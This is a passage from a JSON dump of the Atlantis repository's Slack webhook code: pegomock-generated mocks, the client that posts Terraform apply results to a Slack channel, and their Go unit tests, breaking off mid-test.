    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events/webhooks (interfaces: SlackClient)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\twebhooks \"github.com/runatlantis/atlantis/server/events/webhooks\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockSlackClient struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockSlackClient(options ...pegomock.Option) *MockSlackClient {\n\tmock := &MockSlackClient{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockSlackClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockSlackClient) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockSlackClient) AuthTest() error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSlackClient().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"AuthTest\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSlackClient().\")\n\t}\n\t_params := []pegomock.Param{channel, applyResult}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"PostMessage\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSlackClient) TokenIsSet() bool {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSlackClient().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"TokenIsSet\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()})\n\tvar _ret0 bool\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSlackClient) VerifyWasCalledOnce() *VerifierMockSlackClient {\n\treturn &VerifierMockSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSlackClient {\n\treturn &VerifierMockSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSlackClient {\n\treturn &VerifierMockSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSlackClient {\n\treturn &VerifierMockSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockSlackClient struct {\n\tmock                   *MockSlackClient\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockSlackClient) AuthTest() *MockSlackClient_AuthTest_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"AuthTest\", _params, verifier.timeout)\n\treturn &MockSlackClient_AuthTest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSlackClient_AuthTest_OngoingVerification struct {\n\tmock              *MockSlackClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSlackClient_AuthTest_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockSlackClient_AuthTest_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockSlackClient) PostMessage(channel string, applyResult webhooks.ApplyResult) *MockSlackClient_PostMessage_OngoingVerification {\n\t_params := []pegomock.Param{channel, applyResult}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"PostMessage\", _params, verifier.timeout)\n\treturn &MockSlackClient_PostMessage_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSlackClient_PostMessage_OngoingVerification struct {\n\tmock              *MockSlackClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, webhooks.ApplyResult) {\n\tchannel, applyResult := c.GetAllCapturedArguments()\n\treturn channel[len(channel)-1], applyResult[len(applyResult)-1]\n}\n\nfunc (c *MockSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []webhooks.ApplyResult) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]webhooks.ApplyResult, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(webhooks.ApplyResult)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockSlackClient) TokenIsSet() *MockSlackClient_TokenIsSet_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"TokenIsSet\", _params, verifier.timeout)\n\treturn &MockSlackClient_TokenIsSet_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSlackClient_TokenIsSet_OngoingVerification struct {\n\tmock              *MockSlackClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSlackClient_TokenIsSet_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockSlackClient_TokenIsSet_OngoingVerification) GetAllCapturedArguments() {\n}\n"
  },
  {
    "path": "server/events/webhooks/mocks/mock_underlying_slack_client.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events/webhooks (interfaces: UnderlyingSlackClient)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tslack \"github.com/slack-go/slack\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockUnderlyingSlackClient struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockUnderlyingSlackClient(options ...pegomock.Option) *MockUnderlyingSlackClient {\n\tmock := &MockUnderlyingSlackClient{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockUnderlyingSlackClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockUnderlyingSlackClient) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockUnderlyingSlackClient) AuthTest() (*slack.AuthTestResponse, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().\")\n\t}\n\t_params := []pegomock.Param{}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"AuthTest\", _params, []reflect.Type{reflect.TypeOf((**slack.AuthTestResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *slack.AuthTestResponse\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*slack.AuthTestResponse)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockUnderlyingSlackClient) GetConversations(conversationParams *slack.GetConversationsParameters) ([]slack.Channel, string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().\")\n\t}\n\t_params := []pegomock.Param{conversationParams}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetConversations\", _params, []reflect.Type{reflect.TypeOf((*[]slack.Channel)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []slack.Channel\n\tvar _ret1 string\n\tvar _ret2 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]slack.Channel)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(string)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2\n}\n\nfunc (mock *MockUnderlyingSlackClient) PostMessage(channelID string, options ...slack.MsgOption) (string, string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockUnderlyingSlackClient().\")\n\t}\n\t_params := []pegomock.Param{channelID}\n\tfor _, param := range options {\n\t\t_params = append(_params, param)\n\t}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"PostMessage\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 string\n\tvar _ret2 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(string)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2\n}\n\nfunc (mock *MockUnderlyingSlackClient) VerifyWasCalledOnce() *VerifierMockUnderlyingSlackClient {\n\treturn &VerifierMockUnderlyingSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockUnderlyingSlackClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockUnderlyingSlackClient {\n\treturn &VerifierMockUnderlyingSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockUnderlyingSlackClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockUnderlyingSlackClient {\n\treturn &VerifierMockUnderlyingSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockUnderlyingSlackClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockUnderlyingSlackClient {\n\treturn &VerifierMockUnderlyingSlackClient{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockUnderlyingSlackClient struct {\n\tmock                   *MockUnderlyingSlackClient\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockUnderlyingSlackClient) AuthTest() *MockUnderlyingSlackClient_AuthTest_OngoingVerification {\n\t_params := []pegomock.Param{}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"AuthTest\", _params, verifier.timeout)\n\treturn &MockUnderlyingSlackClient_AuthTest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockUnderlyingSlackClient_AuthTest_OngoingVerification struct {\n\tmock              *MockUnderlyingSlackClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockUnderlyingSlackClient_AuthTest_OngoingVerification) GetCapturedArguments() {\n}\n\nfunc (c *MockUnderlyingSlackClient_AuthTest_OngoingVerification) GetAllCapturedArguments() {\n}\n\nfunc (verifier *VerifierMockUnderlyingSlackClient) GetConversations(conversationParams *slack.GetConversationsParameters) *MockUnderlyingSlackClient_GetConversations_OngoingVerification {\n\t_params := []pegomock.Param{conversationParams}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"GetConversations\", _params, verifier.timeout)\n\treturn &MockUnderlyingSlackClient_GetConversations_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockUnderlyingSlackClient_GetConversations_OngoingVerification struct {\n\tmock              *MockUnderlyingSlackClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockUnderlyingSlackClient_GetConversations_OngoingVerification) GetCapturedArguments() *slack.GetConversationsParameters {\n\tconversationParams := c.GetAllCapturedArguments()\n\treturn conversationParams[len(conversationParams)-1]\n}\n\nfunc (c *MockUnderlyingSlackClient_GetConversations_OngoingVerification) GetAllCapturedArguments() (_param0 []*slack.GetConversationsParameters) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*slack.GetConversationsParameters, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*slack.GetConversationsParameters)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockUnderlyingSlackClient) PostMessage(channelID string, options ...slack.MsgOption) *MockUnderlyingSlackClient_PostMessage_OngoingVerification {\n\t_params := []pegomock.Param{channelID}\n\tfor _, param := range options {\n\t\t_params = append(_params, param)\n\t}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"PostMessage\", _params, verifier.timeout)\n\treturn &MockUnderlyingSlackClient_PostMessage_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockUnderlyingSlackClient_PostMessage_OngoingVerification struct {\n\tmock              *MockUnderlyingSlackClient\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetCapturedArguments() (string, []slack.MsgOption) {\n\tchannelID, options := c.GetAllCapturedArguments()\n\treturn channelID[len(channelID)-1], options[len(options)-1]\n}\n\nfunc (c *MockUnderlyingSlackClient_PostMessage_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 [][]slack.MsgOption) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\t_param1 = make([][]slack.MsgOption, len(c.methodInvocations))\n\t\tfor u := 0; u < len(c.methodInvocations); u++ {\n\t\t\t_param1[u] = make([]slack.MsgOption, len(_params)-1)\n\t\t\tfor x := 1; x < len(_params); x++ {\n\t\t\t\tif _params[x][u] != nil {\n\t\t\t\t\t_param1[u][x-1] = _params[x][u].(slack.MsgOption)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/webhooks/slack.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage webhooks\n\nimport (\n\t\"regexp\"\n\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// SlackWebhook sends webhooks to Slack.\ntype SlackWebhook struct {\n\tClient         SlackClient\n\tWorkspaceRegex *regexp.Regexp\n\tBranchRegex    *regexp.Regexp\n\tChannel        string\n}\n\nfunc NewSlack(wr *regexp.Regexp, br *regexp.Regexp, channel string, client SlackClient) (*SlackWebhook, error) {\n\tif err := client.AuthTest(); err != nil {\n\t\treturn nil, fmt.Errorf(\"testing slack authentication: %s. Verify your slack-token is valid\", err)\n\t}\n\n\treturn &SlackWebhook{\n\t\tClient:         client,\n\t\tWorkspaceRegex: wr,\n\t\tBranchRegex:    br,\n\t\tChannel:        channel,\n\t}, nil\n}\n\n// Send sends the webhook to Slack if workspace and branch matches their respective regex.\nfunc (s *SlackWebhook) Send(_ logging.SimpleLogging, applyResult ApplyResult) error {\n\tif !s.WorkspaceRegex.MatchString(applyResult.Workspace) || !s.BranchRegex.MatchString(applyResult.Pull.BaseBranch) {\n\t\treturn nil\n\t}\n\treturn s.Client.PostMessage(s.Channel, applyResult)\n}\n"
  },
  {
    "path": "server/events/webhooks/slack_client.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage webhooks\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/slack-go/slack\"\n)\n\nconst (\n\tslackSuccessColour = \"good\"\n\tslackFailureColour = \"danger\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_slack_client.go SlackClient\n\n// SlackClient handles making API calls to Slack.\ntype SlackClient interface {\n\tAuthTest() error\n\tTokenIsSet() bool\n\tPostMessage(channel string, applyResult ApplyResult) error\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_underlying_slack_client.go UnderlyingSlackClient\n\n// UnderlyingSlackClient wraps the nlopes/slack.Client implementation so\n// we can mock it during tests.\ntype UnderlyingSlackClient interface {\n\tAuthTest() (response *slack.AuthTestResponse, error error)\n\tGetConversations(conversationParams *slack.GetConversationsParameters) (channels []slack.Channel, nextCursor string, err error)\n\tPostMessage(channelID string, options ...slack.MsgOption) (string, string, error)\n}\n\ntype DefaultSlackClient struct {\n\tSlack UnderlyingSlackClient\n\tToken string\n}\n\nfunc NewSlackClient(token string) SlackClient {\n\treturn &DefaultSlackClient{\n\t\tSlack: slack.New(token),\n\t\tToken: token,\n\t}\n}\n\nfunc (d *DefaultSlackClient) AuthTest() error {\n\t_, err := d.Slack.AuthTest()\n\treturn err\n}\n\nfunc (d *DefaultSlackClient) TokenIsSet() bool {\n\treturn d.Token != \"\"\n}\n\nfunc (d *DefaultSlackClient) PostMessage(channel string, applyResult ApplyResult) error {\n\tattachments := d.createAttachments(applyResult)\n\t_, _, err := d.Slack.PostMessage(\n\t\tchannel,\n\t\tslack.MsgOptionAsUser(true),\n\t\tslack.MsgOptionText(\"\", false),\n\t\tslack.MsgOptionAttachments(attachments[0]),\n\t)\n\treturn err\n}\n\nfunc (d *DefaultSlackClient) createAttachments(applyResult ApplyResult) []slack.Attachment {\n\tvar colour string\n\tvar successWord string\n\tif applyResult.Success {\n\t\tcolour = slackSuccessColour\n\t\tsuccessWord = \"succeeded\"\n\t} else {\n\t\tcolour = slackFailureColour\n\t\tsuccessWord = \"failed\"\n\t}\n\n\ttext := fmt.Sprintf(\"Apply %s for <%s|%s>\", successWord, applyResult.Pull.URL, applyResult.Repo.FullName)\n\tdirectory := applyResult.Directory\n\t// Since \".\" looks weird, replace it with \"/\" to make it clear this is the root.\n\tif directory == \".\" {\n\t\tdirectory = \"/\"\n\t}\n\n\tattachment := slack.Attachment{\n\t\tColor: colour,\n\t\tText:  text,\n\t\tFields: []slack.AttachmentField{\n\t\t\t{\n\t\t\t\tTitle: \"Workspace\",\n\t\t\t\tValue: applyResult.Workspace,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\tTitle: \"Branch\",\n\t\t\t\tValue: applyResult.Pull.BaseBranch,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\tTitle: \"User\",\n\t\t\t\tValue: applyResult.User.Username,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\tTitle: \"Directory\",\n\t\t\t\tValue: directory,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t},\n\t}\n\treturn []slack.Attachment{attachment}\n}\n"
  },
  {
    "path": "server/events/webhooks/slack_client_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage webhooks_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks/mocks\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar underlying *mocks.MockUnderlyingSlackClient\nvar client webhooks.DefaultSlackClient\nvar result webhooks.ApplyResult\n\nfunc TestAuthTest_Success(t *testing.T) {\n\tt.Log(\"When the underlying client succeeds, function should succeed\")\n\tsetup(t)\n\terr := client.AuthTest()\n\tOk(t, err)\n}\n\nfunc TestAuthTest_Error(t *testing.T) {\n\tt.Log(\"When the underlying slack client errors, an error should be returned\")\n\tsetup(t)\n\tWhen(underlying.AuthTest()).ThenReturn(nil, errors.New(\"\"))\n\terr := client.AuthTest()\n\tAssert(t, err != nil, \"expected error\")\n}\n\nfunc TestTokenIsSet(t *testing.T) {\n\tt.Log(\"When the Token is an empty string, function should return false\")\n\tc := webhooks.DefaultSlackClient{\n\t\tToken: \"\",\n\t}\n\tEquals(t, false, c.TokenIsSet())\n\n\tt.Log(\"When the Token is not an empty string, function should return true\")\n\tc.Token = \"random\"\n\tEquals(t, true, c.TokenIsSet())\n}\n\n/*\n// The next 2 tests are commented out because they currently fail using the Pegamock's\n// VerifyWasCalledOnce using variadic parameters.\n// See issue https://github.com/petergtz/pegomock/issues/112\nfunc TestPostMessage_Success(t *testing.T) {\n\tt.Log(\"When apply succeeds, function should succeed and indicate success\")\n\tsetup(t)\n\n\tattachments := []slack.Attachment{{\n\t\tColor: \"good\",\n\t\tText:  \"Apply succeeded for <url|runatlantis/atlantis>\",\n\t\tFields: []slack.AttachmentField{\n\t\t\t{\n\t\t\t\tTitle: \"Workspace\",\n\t\t\t\tValue: result.Workspace,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\tTitle: \"User\",\n\t\t\t\tValue: result.User.Username,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\tTitle: \"Directory\",\n\t\t\t\tValue: result.Directory,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t},\n\t}}\n\n\tchannel := \"somechannel\"\n\terr := client.PostMessage(channel, result)\n\tOk(t, err)\n\tunderlying.VerifyWasCalledOnce().PostMessage(\n\t\tchannel,\n\t\tslack.MsgOptionAsUser(true),\n\t\tslack.MsgOptionText(\"\", false),\n\t\tslack.MsgOptionAttachments(attachments[0]),\n\t)\n\n\tt.Log(\"When apply fails, function should succeed and indicate failure\")\n\tresult.Success = false\n\tattachments[0].Color = \"danger\"\n\tattachments[0].Text = \"Apply failed for <url|runatlantis/atlantis>\"\n\n\terr = client.PostMessage(channel, result)\n\tOk(t, err)\n\tunderlying.VerifyWasCalledOnce().PostMessage(\n\t\tchannel,\n\t\tslack.MsgOptionAsUser(true),\n\t\tslack.MsgOptionText(\"\", false),\n\t\tslack.MsgOptionAttachments(attachments[0]),\n\t)\n}\n\nfunc TestPostMessage_Error(t *testing.T) {\n\tt.Log(\"When the underlying slack client errors, an error should be returned\")\n\tsetup(t)\n\n\tattachments := []slack.Attachment{{\n\t\tColor: \"good\",\n\t\tText:  \"Apply succeeded for <url|runatlantis/atlantis>\",\n\t\tFields: []slack.AttachmentField{\n\t\t\t{\n\t\t\t\tTitle: \"Workspace\",\n\t\t\t\tValue: result.Workspace,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\tTitle: \"User\",\n\t\t\t\tValue: result.User.Username,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t\t{\n\t\t\t\tTitle: \"Directory\",\n\t\t\t\tValue: result.Directory,\n\t\t\t\tShort: true,\n\t\t\t},\n\t\t},\n\t}}\n\n\tchannel := \"somechannel\"\n\tWhen(underlying.PostMessage(\n\t\tchannel,\n\t\tslack.MsgOptionAsUser(true),\n\t\tslack.MsgOptionText(\"\", false),\n\t\tslack.MsgOptionAttachments(attachments[0]),\n\t)).ThenReturn(\"\", \"\", errors.New(\"\"))\n\n\terr := client.PostMessage(channel, result)\n\tAssert(t, err != nil, \"expected error\")\n}\n*/\n\nfunc setup(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tunderlying = mocks.NewMockUnderlyingSlackClient()\n\tclient = webhooks.DefaultSlackClient{\n\t\tSlack: underlying,\n\t\tToken: \"sometoken\",\n\t}\n\tresult = webhooks.ApplyResult{\n\t\tWorkspace: \"production\",\n\t\tRepo: models.Repo{\n\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t},\n\t\tPull: models.PullRequest{\n\t\t\tNum:        1,\n\t\t\tURL:        \"url\",\n\t\t\tBaseBranch: \"main\",\n\t\t},\n\t\tUser: models.User{\n\t\t\tUsername: \"lkysow\",\n\t\t},\n\t\tSuccess: true,\n\t}\n}\n"
  },
  {
    "path": "server/events/webhooks/slack_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage webhooks_test\n\nimport (\n\t\"regexp\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestSend_PostMessage(t *testing.T) {\n\tt.Log(\"Sending a hook with a matching regex should call PostMessage\")\n\tRegisterMockTestingT(t)\n\tclient := mocks.NewMockSlackClient()\n\tregex, err := regexp.Compile(\".*\")\n\tOk(t, err)\n\n\tchannel := \"somechannel\"\n\thook := webhooks.SlackWebhook{\n\t\tClient:         client,\n\t\tWorkspaceRegex: regex,\n\t\tBranchRegex:    regex,\n\t\tChannel:        channel,\n\t}\n\tresult := webhooks.ApplyResult{\n\t\tWorkspace: \"production\",\n\t\tPull: models.PullRequest{\n\t\t\tBaseBranch: \"main\",\n\t\t},\n\t}\n\n\tt.Log(\"PostMessage should be called, doesn't matter if it errors or not\")\n\t_ = hook.Send(logging.NewNoopLogger(t), result)\n\tclient.VerifyWasCalledOnce().PostMessage(channel, result)\n}\n\nfunc TestSend_NoopSuccess(t *testing.T) {\n\tt.Log(\"Sending a hook with a non-matching regex should succeed\")\n\tRegisterMockTestingT(t)\n\tclient := mocks.NewMockSlackClient()\n\tregex, err := regexp.Compile(\"weirdemv\")\n\tOk(t, err)\n\n\tchannel := \"somechannel\"\n\thook := webhooks.SlackWebhook{\n\t\tClient:         client,\n\t\tWorkspaceRegex: regex,\n\t\tBranchRegex:    regex,\n\t\tChannel:        channel,\n\t}\n\tresult := webhooks.ApplyResult{\n\t\tWorkspace: \"production\",\n\t\tPull: models.PullRequest{\n\t\t\tBaseBranch: \"main\",\n\t\t},\n\t}\n\terr = 